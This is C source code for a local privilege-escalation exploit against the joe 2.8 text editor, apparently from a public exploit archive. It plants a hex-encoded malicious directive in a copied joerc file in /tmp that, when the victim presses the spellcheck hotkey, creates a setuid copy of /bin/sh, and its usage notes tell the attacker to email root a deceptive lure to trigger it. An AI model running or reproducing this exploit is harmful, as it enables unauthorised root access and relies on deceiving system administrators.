Joe 2.8 local exploit - Requires sysadmin intervention. Tested on FreeBSD 4.2-Release.
f9e4feab1aeef09555b1b33372679785c883b5a1fe388035f561b68cdbce1373
/* joe 2.8 local exploit by fides
pr0pz;- essell | dionysus | valarius | acharon | yuklop | m0rt
opt1k | il | ahriman
gives shell owned by user of joe
Vulnerable: joe 2.8 - Immunix 6.2/7.0beta / slack 7.1 / redhat 6.x/5.2
NetBSD 1.5/1.4.3 / mandrake 6.x/7.x / FreeBSD 4.2/3.5.1
Connectiva 4.x-6.0
Tested on: FreeBSD 4.2-Release / joe 2.8
===-- usage --=== [for the clueless]
$ gcc -o joe28 joe28.c
$ ./joe28
(blah blah)
$ echo "la la" >/tmp/weird_file
$ echo "hey, i found a wierd file in /tmp. When i try to spellcheck it with joe
just a ctrl-[ l , something happens and the terminal display corrupts.. check it out."
| mail root
$ exit
(24 hours pass)
$ /tmp/suid
#
f1d3s@lineone.net
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#define MAGIC_OFFSET 0x2c64 /* \ */
#define JUMP_OFFSET 0x79 /* | ____ these work for v2.8, however changes */
#define PICKUP_OFFSET 0x2e42 /* | may be in order for future versions. */
#define END_OFFSET 0x4476 /* / */
char JOERC_PATH [] = "/usr/local/lib/joerc";
char WRITABLE [] = "/tmp"; /* must be world-writable */
/* our evil malformed directive */
char c0de[] = "\x3a\x64\x65\x66\x20\x73\x70\x65\x6c\x6c\x66\x69\x6c\x65\x20\x66\x69\x6c\x74\x2c"
"\x22\x63\x70\x20\x2f\x62\x69\x6e\x2f\x73\x68\x20\x2f\x74\x6d\x70\x2f\x73\x75\x69"
"\x64\x3b\x20\x63\x68\x6d\x6f\x64\x20\x34\x37\x35\x35\x20\x2f\x74\x6d\x70\x2f\x73"
"\x75\x69\x64\x22\x2c\x72\x74\x6e\x2c\x72\x65\x74\x79\x70\x65";
void banner()
{
printf("\njoe 2.8 local exploit by fides [f1d3s@lineone.net]\n\n");
}
int exists(char *file)
{
FILE *fp;
fp = fopen(file, "r");
if(fp == NULL) return 1;
else fclose(fp);
return 0;
}
unsigned long filesize(FILE *stream)
{
unsigned long curpos, length;
curpos = ftell(stream);
fseek(stream, 0L, SEEK_END);
length = ftell(stream);
fseek(stream, curpos, SEEK_SET);
return length;
}
int main()
{
char *joerc;
FILE *joe, *buf;
unsigned long i;
unsigned char c;
banner();
if(!(joerc = malloc(sizeof(JOERC_PATH)+14))) {
printf("Couldn't allocate memory.\n");
return -1;
}
if((exists(JOERC_PATH) == 1)) {
printf("Can't read %s\n\nExploit failed.\n", JOERC_PATH);
return -1;
}
if(WRITABLE[strlen(WRITABLE)-1] != '/') {
WRITABLE[strlen(WRITABLE)+1] = 0;
WRITABLE[strlen(WRITABLE)] = '/';
}
printf("Using world-writable dir: %s\n", WRITABLE);
printf("Grabbing %s ... \n",JOERC_PATH);
joerc[0]='c';
joerc[1]='p';
joerc[2]=' ';
joerc[3]=0;
strncat(joerc, JOERC_PATH, sizeof(JOERC_PATH));
strcat(joerc, " ");
strcat(joerc, WRITABLE);
strcat(joerc, ".joerc");
system(joerc);
printf("Inserting shellcode ... \n");
sprintf(joerc, "%s.joerc", WRITABLE);
if( (joe = fopen(joerc, "a")) == NULL) {
printf("\nExploit failed: couldn't write to /tmp/joerc\n\n");
return -1;
}
fclose(joe);
if( (buf = fopen("/tmp/.tmp", "w")) == NULL) {
printf("\nExploit failed: couldn't write to /tmp/.tmp\n\n");
return -1;
}
joe = fopen(joerc, "r");
for(i=0; i<filesize(joe); i++)
fputc(getc(joe), buf);
fclose(joe); fclose(buf);
buf = fopen("/tmp/.tmp", "r");
joe = fopen("/tmp/.joerc","w");
for(i=0; i<MAGIC_OFFSET; i++)
putc(getc(buf), joe);
fprintf(joe, "%s\n", c0de);
for(i=0; i<JUMP_OFFSET; i++)
getc(buf);
for(i=PICKUP_OFFSET; i<END_OFFSET; i++)
putc(getc(buf), joe);
fclose(buf); fclose(joe);
remove("/tmp/.tmp");
printf("\n\nNow type: cd %s ; joe\n\n", WRITABLE);
printf("and press the hotkey ^[ l\n\n");
printf("/tmp/suid should appear, with the uid of the user running joe.\n\n");
return 0;
}